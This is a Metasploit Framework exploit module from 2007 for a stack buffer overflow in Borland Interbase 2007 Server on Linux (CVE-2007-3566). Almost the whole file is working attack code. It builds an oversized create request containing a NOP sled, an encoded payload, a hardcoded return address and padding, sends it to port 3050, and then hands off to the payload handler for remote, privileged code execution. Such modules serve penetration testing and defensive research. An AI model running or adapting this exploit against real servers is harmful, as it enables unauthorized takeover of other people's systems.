##
# $Id: interbase_create.rb 5068 2007-07-31 02:10:49Z ramon $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Exploits::Linux::Misc::Interbase_Create < Msf::Exploit::Remote

  include Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'    => 'Borland Interbase 2007 Create Request Buffer Overflow',
      'Description'  => %q{
        This module exploits a stack overflow in Borland Interbase 2007
        by sending a specially crafted create request.
      },
      'Version'  => '$Revision: 5068 $',
      'Author'  =>
        [
          'Ramon de Carvalho Valle <ramon@risesecurity.org>',
          'Adriano Lima <adriano@risesecurity.org>',
        ],
      'Arch'    => ARCH_X86,
      'Platform'  => 'linux',
      'References'  =>
        [
          [ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-07-13' ],
          [ 'CVE', '2007-3566' ],
        ],
      'Privileged'  => true,
      'License'  => MSF_LICENSE,
      'Payload'  =>
        {
          'Space' => 120,
        },
      'Targets'  =>
        [
          #
          # /opt/interbase/bin/ibserver
          #
          # 804cbe4:       5e                      pop    %esi
          # 804cbe5:       5d                      pop    %ebp
          # 804cbe6:       c3                      ret
          #

          [ 'Linux - Borland Interbase 2007 Server Edition', { 'Ret' => 0x804cbe4 } ],
        ],
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        Opt::RPORT(3050)
      ],
      self.class
    )

  end

  def exploit

    connect

    # Create request
    buf = [0x14].pack('N')

    # Id
    buf << [0x03].pack('N')

    # Size
    buf << [0x220].pack('N')

    # It will return into this nop block
    buf << make_nops(0x21c - payload.encoded.length)

    # Payload
    buf << payload.encoded

    print_status("Payload encoded size is #{payload.encoded.length} bytes.")

    # Target
    buf << [target.ret].pack('V')

    # Padding
    buf << rand_text_english(32 * 1024)

    sock.put(buf)

    sleep(2)

    handler

  end

end

end